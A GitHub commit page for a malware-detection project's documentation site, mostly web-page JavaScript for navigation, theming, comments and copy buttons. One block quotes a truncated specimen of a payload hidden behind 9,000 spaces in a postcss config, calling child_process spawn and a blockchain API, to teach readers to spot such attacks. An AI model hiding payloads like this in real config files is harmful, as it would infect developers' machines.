Skip to content

Commit 98fa688

Browse files
AviOfLagosApple
andauthored
site: split the field guide into real pages, and fix three layout bugs (#33)
The site was one 67KB scroll with an eight-item nav and no mobile navigation at all. It is now nine pages built from fragments in docs/src/ by docs/build.sh, sharing one stylesheet and one script. Nav is six items instead of eight, plus a version pill that links to the changelog. Old anchors are forwarded — /#infected, /#install, /#detect, /#commands and /#security are already published in the dev.to write-up, the X thread and the notices filed on nine repositories, so they redirect to their new pages rather than dropping people at the top of the home page. Three layout bugs, two of which predate this change: - No mobile navigation. Under 720px every link was display:none, so a phone had the logo and a button. There is now a real drawer; Escape closes it and focus returns to the toggle. - Content touched the screen edge. .hero used the padding shorthand, which reset the horizontal padding it inherits from .wrap to zero. Block-only padding now, with a 16px floor on the gutter. - ol.chain descriptions collapsed into the 32px counter column. The <span> had no grid-column, so it auto-placed onto the next row in column one. This hit the mechanism steps and the bug-report list. New pages: docs.html gathers the documentation and closes two gaps — authentication and extending detection were in the README but nowhere on the site. changelog.html is built from CHANGELOG.md with false-clean defects listed first. community.html carries the discussion links and a giscus thread backed by GitHub Discussions. giscus is the only third-party code here and it loads on community.html alone, never on a page carrying a command someone might paste into a shell. It needs the giscus app installed on the repository; until then the page shows a link to Discussions instead. Also adds sitemap.xml and robots.txt, per-page titles, descriptions and canonical URLs, a sticky section bar on the reference pages, and a theme toggle. set-links.sh now edits docs/src/index.html. Co-authored-by: Apple <Apple@MacBook-Air.local>
1 parent 56df09b commit 98fa688

26 files changed

Lines changed: 4396 additions & 2149 deletions

docs/_source.html

Lines changed: 0 additions & 1164 deletions
This file was deleted.

docs/assets/site.css

Lines changed: 537 additions & 0 deletions
Large diffs are not rendered by default.

docs/assets/site.js

Lines changed: 368 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,368 @@
1+
/* site.js — shared behaviour for every page.
2+
Kept dependency-free and defensive: each block no-ops when its markup is absent,
3+
so one file can serve pages that share only the nav and the footer. */
4+
(function () {
5+
"use strict";
6+
7+
var reduce = window.matchMedia("(prefers-reduced-motion: reduce)").matches;
8+
9+
/* ---------------------------------------------------------------- theme
10+
Honour the OS by default. A click pins an explicit choice, which the
11+
inline <head> snippet re-applies on the next page load before paint. */
12+
var themeBtn = document.querySelector(".theme-toggle");
13+
if (themeBtn) {
14+
themeBtn.addEventListener("click", function () {
15+
var root = document.documentElement;
16+
var systemDark = window.matchMedia("(prefers-color-scheme: dark)").matches;
17+
var isDark = root.dataset.theme ? root.dataset.theme === "dark" : systemDark;
18+
var next = isDark ? "light" : "dark";
19+
root.dataset.theme = next;
20+
themeBtn.setAttribute("aria-label", next === "dark" ? "Switch to light theme" : "Switch to dark theme");
21+
try { localStorage.setItem("snare-theme", next); } catch (e) { /* private mode */ }
22+
setGiscusTheme(next);
23+
});
24+
}
25+
26+
/* ------------------------------------------------------------------ giscus
27+
Comments are GitHub Discussions. The third-party script is injected only
28+
where a #giscus-mount exists — this is the single page that carries it, so
29+
no page with a copy-and-paste shell command runs foreign code. If it does
30+
not load, the fallback keeps a working link to the same thread. */
31+
function currentTheme() {
32+
var pinned = document.documentElement.dataset.theme;
33+
if (pinned) return pinned;
34+
return window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
35+
}
36+
37+
function setGiscusTheme(theme) {
38+
var frame = document.querySelector("iframe.giscus-frame");
39+
if (!frame || !frame.contentWindow) return;
40+
frame.contentWindow.postMessage(
41+
{ giscus: { setConfig: { theme: theme } } },
42+
"https://giscus.app"
43+
);
44+
}
45+
46+
var mount = document.getElementById("giscus-mount");
47+
if (mount) {
48+
var fallback = document.getElementById("giscus-fallback");
49+
var discussionsUrl = "https://github.com/" + mount.dataset.repo + "/discussions";
50+
51+
var errored = false;
52+
53+
var failed = function (why) {
54+
errored = true;
55+
if (!fallback) return;
56+
fallback.innerHTML = "The comment widget did not load (" + why + "). The thread is on " +
57+
'<a href="' + discussionsUrl + '">GitHub Discussions</a> — nothing is lost.';
58+
};
59+
60+
// once the widget is up and has not complained, the loading note is noise
61+
var settle = function () {
62+
if (errored || !fallback) return;
63+
if (mount.querySelector("iframe.giscus-frame")) fallback.hidden = true;
64+
};
65+
66+
var s = document.createElement("script");
67+
s.src = "https://giscus.app/client.js";
68+
s.async = true;
69+
s.crossOrigin = "anonymous";
70+
s.setAttribute("data-repo", mount.dataset.repo);
71+
s.setAttribute("data-repo-id", mount.dataset.repoId);
72+
s.setAttribute("data-category", mount.dataset.category);
73+
s.setAttribute("data-category-id", mount.dataset.categoryId);
74+
s.setAttribute("data-mapping", "pathname");
75+
s.setAttribute("data-strict", "1");
76+
s.setAttribute("data-reactions-enabled", "1");
77+
s.setAttribute("data-emit-metadata", "0");
78+
s.setAttribute("data-input-position", "top");
79+
s.setAttribute("data-theme", currentTheme());
80+
s.setAttribute("data-lang", "en");
81+
s.setAttribute("data-loading", "lazy");
82+
s.onerror = function () { failed("blocked or offline"); };
83+
mount.appendChild(s);
84+
85+
// giscus reports its own problems (app not installed, discussions disabled)
86+
window.addEventListener("message", function (e) {
87+
if (e.origin !== "https://giscus.app") return;
88+
var d = e.data && e.data.giscus;
89+
if (d && d.error) failed(String(d.error));
90+
});
91+
92+
// give giscus a moment to report a problem, then either clear the note or
93+
// say plainly that nothing arrived at all
94+
setTimeout(settle, 2500);
95+
setTimeout(function () {
96+
if (!mount.querySelector("iframe.giscus-frame")) failed("no response from giscus.app");
97+
else settle();
98+
}, 8000);
99+
}
100+
101+
/* ------------------------------------------------------------ mobile nav
102+
The old site simply hid every link under 720px, leaving phones with no
103+
navigation at all. This is a real drawer: Escape closes it, focus returns
104+
to the button, and a resize past the breakpoint resets the state. */
105+
var navToggle = document.querySelector(".nav-toggle"),
106+
navLinks = document.getElementById("nav-links");
107+
108+
if (navToggle && navLinks) {
109+
var setNav = function (open) {
110+
navLinks.dataset.open = String(open);
111+
navToggle.setAttribute("aria-expanded", String(open));
112+
navToggle.setAttribute("aria-label", open ? "Close menu" : "Open menu");
113+
};
114+
115+
setNav(false);
116+
117+
navToggle.addEventListener("click", function () {
118+
setNav(navLinks.dataset.open !== "true");
119+
});
120+
121+
navLinks.addEventListener("click", function (e) {
122+
if (e.target.closest("a")) setNav(false);
123+
});
124+
125+
document.addEventListener("keydown", function (e) {
126+
if (e.key === "Escape" && navLinks.dataset.open === "true") {
127+
setNav(false);
128+
navToggle.focus();
129+
}
130+
});
131+
132+
document.addEventListener("click", function (e) {
133+
if (navLinks.dataset.open !== "true") return;
134+
if (!navLinks.contains(e.target) && !navToggle.contains(e.target)) setNav(false);
135+
});
136+
137+
window.addEventListener("resize", function () {
138+
if (window.innerWidth > 860 && navLinks.dataset.open === "true") setNav(false);
139+
});
140+
}
141+
142+
/* --------------------------------------------------- legacy hash redirect
143+
The site used to be one long page, so links like /snare/#infected are
144+
already published in GitHub issues, an X thread and a dev.to article.
145+
Those anchors now live on their own pages — forward them rather than
146+
dropping people at the top of the home page with no idea why. */
147+
var MOVED = {
148+
"#detect": "check.html",
149+
"#install": "install.html",
150+
"#infected": "infected.html",
151+
"#commands": "commands.html",
152+
"#security": "security.html"
153+
};
154+
if (document.body.dataset.page === "index" && MOVED[location.hash]) {
155+
location.replace(MOVED[location.hash]);
156+
return; // stop initialising a page we are leaving
157+
}
158+
159+
/* ------------------------------------------------- hero whitespace reveal */
160+
var code = document.getElementById("code");
161+
if (code) {
162+
var GAP = 9000,
163+
LEADIN = "};",
164+
payload = "global.i=\"A8-…\";global.r=require;const http=require(\"http\"),{spawn}=require(\"child_process\"),S=\"0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a\".toLowerCase(),I=\"https://eth.blockscout.com/api\"… /* truncated */",
165+
lines = [["1", "module.exports = {"], ["2", " plugins: {"], ["3", " '@tailwindcss/postcss': {},"], ["4", " },"]],
166+
revealBtn = document.getElementById("reveal"),
167+
scroller = document.getElementById("scroller"),
168+
hint = document.getElementById("hint"),
169+
on = false;
170+
171+
var esc = function (s) {
172+
return s.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
173+
};
174+
175+
var render = function () {
176+
var h = "";
177+
lines.forEach(function (l) {
178+
h += '<span class="gutter">' + l[0] + ' </span>' + esc(l[1]) + "\n";
179+
});
180+
var gap = new Array(GAP + 1).join(on ? "·" : " ");
181+
h += '<span class="gutter">5 </span>' + esc(LEADIN)
182+
+ '<span class="' + (on ? "ws" : "hidden-ws") + '">' + gap + "</span>"
183+
+ '<span class="payload">' + esc(payload) + "</span>\n"
184+
+ '<span class="gutter">6 </span>';
185+
code.innerHTML = h;
186+
};
187+
188+
if (revealBtn) {
189+
revealBtn.addEventListener("click", function () {
190+
on = !on;
191+
revealBtn.setAttribute("aria-pressed", String(on));
192+
revealBtn.textContent = on ? "hide whitespace" : "reveal whitespace";
193+
render();
194+
if (on) {
195+
hint.textContent = "Every dot is one space the attacker used to push the payload off-screen.";
196+
scroller.scrollTo({ left: scroller.scrollWidth, behavior: reduce ? "auto" : "smooth" });
197+
} else {
198+
hint.textContent = "Line 5 is 9,135 characters long. Scroll it sideways — or reveal the whitespace.";
199+
scroller.scrollTo({ left: 0, behavior: "auto" });
200+
}
201+
});
202+
}
203+
render();
204+
}
205+
206+
/* ------------------------------------------ copy buttons on code panels */
207+
var ICON = '<svg viewBox="0 0 16 16" fill="none" stroke="currentColor" stroke-width="1.6" aria-hidden="true"><rect x="5.5" y="5.5" width="8" height="9" rx="1.5"/><path d="M10.5 3.5v-1a1 1 0 0 0-1-1h-6a1 1 0 0 0-1 1v8a1 1 0 0 0 1 1h1"/></svg>';
208+
209+
function copyText(text) {
210+
if (navigator.clipboard && window.isSecureContext) return navigator.clipboard.writeText(text);
211+
return new Promise(function (resolve, reject) {
212+
var ta = document.createElement("textarea");
213+
ta.value = text;
214+
ta.setAttribute("readonly", "");
215+
ta.style.cssText = "position:absolute;left:-9999px;top:0";
216+
document.body.appendChild(ta);
217+
ta.select();
218+
try { document.execCommand("copy") ? resolve() : reject(); }
219+
catch (e) { reject(e); }
220+
finally { document.body.removeChild(ta); }
221+
});
222+
}
223+
224+
document.querySelectorAll(".panel").forEach(function (panel) {
225+
var pre = panel.querySelector("pre");
226+
if (!pre || pre.id === "code") return; // the hero specimen is not copyable code
227+
228+
var bar = panel.querySelector(".panel-bar");
229+
if (!bar) {
230+
bar = document.createElement("div");
231+
bar.className = "panel-bar";
232+
bar.innerHTML = '<span class="label">shell</span><div class="bar-actions"></div>';
233+
panel.insertBefore(bar, panel.firstChild);
234+
}
235+
var actions = bar.querySelector(".bar-actions");
236+
if (!actions) {
237+
actions = document.createElement("div");
238+
actions.className = "bar-actions";
239+
bar.appendChild(actions);
240+
}
241+
242+
var b = document.createElement("button");
243+
b.className = "btn";
244+
b.type = "button";
245+
b.innerHTML = ICON + "<span>copy</span>";
246+
b.setAttribute("aria-label", "Copy this command");
247+
b.addEventListener("click", function () {
248+
copyText(pre.innerText).then(function () {
249+
b.classList.add("done");
250+
b.querySelector("span").textContent = "copied";
251+
setTimeout(function () {
252+
b.classList.remove("done");
253+
b.querySelector("span").textContent = "copy";
254+
}, 1600);
255+
}).catch(function () {
256+
b.querySelector("span").textContent = "select all";
257+
var r = document.createRange(); r.selectNodeContents(pre);
258+
var sel = window.getSelection(); sel.removeAllRanges(); sel.addRange(r);
259+
});
260+
});
261+
actions.appendChild(b);
262+
});
263+
264+
/* ---------------------------------------------------------- platform tabs
265+
Remembers the platform across pages — someone who picked Windows on the
266+
install page should not have to pick it again. */
267+
var tabs = Array.prototype.slice.call(document.querySelectorAll(".tab"));
268+
if (tabs.length) {
269+
var panes = tabs.map(function (t) { return t.dataset.p; });
270+
271+
var selectTab = function (t, remember) {
272+
tabs.forEach(function (x) {
273+
var isOn = x === t;
274+
x.setAttribute("aria-selected", String(isOn));
275+
x.tabIndex = isOn ? 0 : -1;
276+
});
277+
panes.forEach(function (p) {
278+
var pane = document.getElementById("p-" + p);
279+
if (pane) pane.hidden = (p !== t.dataset.p);
280+
});
281+
if (remember) {
282+
try { localStorage.setItem("snare-platform", t.dataset.p); } catch (e) { /* private mode */ }
283+
}
284+
};
285+
286+
tabs.forEach(function (t, i) {
287+
t.tabIndex = t.getAttribute("aria-selected") === "true" ? 0 : -1;
288+
t.addEventListener("click", function () { selectTab(t, true); });
289+
t.addEventListener("keydown", function (e) {
290+
var d = e.key === "ArrowRight" ? 1 : e.key === "ArrowLeft" ? -1 :
291+
e.key === "Home" ? -i : e.key === "End" ? tabs.length - 1 - i : 0;
292+
if (!d) return;
293+
e.preventDefault();
294+
var next = tabs[(i + d + tabs.length) % tabs.length];
295+
selectTab(next, true);
296+
next.focus();
297+
});
298+
});
299+
300+
var saved = null;
301+
try { saved = localStorage.getItem("snare-platform"); } catch (e) { /* private mode */ }
302+
if (saved) {
303+
var match = tabs.filter(function (t) { return t.dataset.p === saved; })[0];
304+
if (match) selectTab(match, false);
305+
}
306+
}
307+
308+
/* -------------------------------------------------------------- scroll spy
309+
Highlights the sidebar entry for whatever section is currently in view. */
310+
var tocLinks = Array.prototype.slice.call(
311+
document.querySelectorAll(".toc a[href^='#'], .jump a[href^='#']")
312+
);
313+
if (tocLinks.length && "IntersectionObserver" in window) {
314+
var byId = {}; // one section id can be pointed at by both the sidebar and the chips
315+
var targets = [];
316+
tocLinks.forEach(function (a) {
317+
var el = document.getElementById(a.getAttribute("href").slice(1));
318+
if (!el) return;
319+
if (!byId[el.id]) { byId[el.id] = []; targets.push(el); }
320+
byId[el.id].push(a);
321+
});
322+
323+
var jumpBar = document.querySelector(".jump");
324+
var visible = {};
325+
326+
var highlight = function (current) {
327+
if (!current) return;
328+
tocLinks.forEach(function (a) { a.classList.remove("on"); });
329+
byId[current.id].forEach(function (a) {
330+
a.classList.add("on");
331+
// keep the active chip in view in the horizontally scrolling bar
332+
if (jumpBar && jumpBar.contains(a)) {
333+
var barBox = jumpBar.getBoundingClientRect(), chip = a.getBoundingClientRect();
334+
if (chip.left < barBox.left || chip.right > barBox.right) {
335+
jumpBar.scrollTo({
336+
left: jumpBar.scrollLeft + (chip.left - barBox.left) - 16,
337+
behavior: reduce ? "auto" : "smooth"
338+
});
339+
}
340+
}
341+
});
342+
};
343+
344+
var sync = function () {
345+
highlight(targets.filter(function (t) { return visible[t.id]; })[0]);
346+
};
347+
348+
// the observer only reports on change, so nothing is marked until the first
349+
// scroll — pick a starting section from geometry so the bar is never blank,
350+
// and so a deep link like docs.html#state lands already highlighted
351+
var pickByGeometry = function () {
352+
var line = 96, best = null;
353+
targets.forEach(function (t) {
354+
var r = t.getBoundingClientRect();
355+
if (r.top <= line && r.bottom > line) best = t;
356+
});
357+
return best || targets[0];
358+
};
359+
highlight(pickByGeometry());
360+
361+
var io = new IntersectionObserver(function (entries) {
362+
entries.forEach(function (e) { visible[e.target.id] = e.isIntersecting; });
363+
sync();
364+
}, { rootMargin: "-88px 0px -65% 0px", threshold: 0 });
365+
366+
targets.forEach(function (t) { io.observe(t); });
367+
}
368+
})();

0 commit comments

Comments
 (0)